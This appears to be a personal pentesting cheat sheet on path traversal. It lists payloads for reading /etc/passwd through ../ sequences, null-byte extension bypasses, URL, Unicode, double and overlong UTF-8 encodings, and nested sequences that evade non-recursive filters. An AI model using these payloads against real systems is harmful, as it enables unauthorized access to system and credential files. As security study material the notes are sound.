FILE TRAVERSAL

Friday, January 31, 2020 11:34 PM

USE ../ IN LINUX
USE ..\ IN WINDOWS

- BASIC=>enter the file name and the way of reaching it.ex=> /var/www/images so ../../../etc/passwd

- DEFENCE=> a)Try the basic file name ex=>/etc/passwd
  b)Dual encoding . ex=> ….//….//etc/passwd
  c)Try double or single encoding .ex=> ..%c0%af or ..%252f

- PRE PATH=>then broke and use same as basic. Ex=> file=/var/www/../../etc/passwd

- FILE NAME=>many time fixed file tyle is required so use this . Ex=>../../etc/passwd%00.png
  %00 represent the null value means after this value became null.

ENCODING SCHEMES

Try simple URL-encoded representations of traversal sequences using the following encodings. Be sure to encode every single slash and dot within your input:

- Dot — %2e
- Forward slash — %2f
- Backslash — %5c

3. Try using 16-bit Unicode encoding:
1. Dot — %u002e
2. Forward slash — %u2215
3. Backslash — %u2216

4. Try double URL encoding:
1. Dot — %252e
2. Forward slash — %252f
3. Backslash — %255c

5. Try overlong UTF-8 Unicode encoding:
1. Dot — %c0%2e, %e0%40%ae, %c0ae, and so on
2. Forward slash — %c0%af, %e0%80%af, %c0%2f, and so on
3. Backslash — %c0%5c, %c0%80%5c, and so on

You can use the illegal Unicode payload type within Burp Intruder to generate a huge number of alternate representations of any given character and submit this at the relevant place within your target parameter.
These representations strictly violate the rules for Unicode representation but nevertheless are accepted by many implementations of Unicode decoders, particularly on the Windows platform.

6. If the application is attempting to sanitize user input by removing traversal sequences and does not apply this filter recursively, it may be

possible to bypass the filter by placing one sequence within another. For example:

....//
....\/
..../\
....\\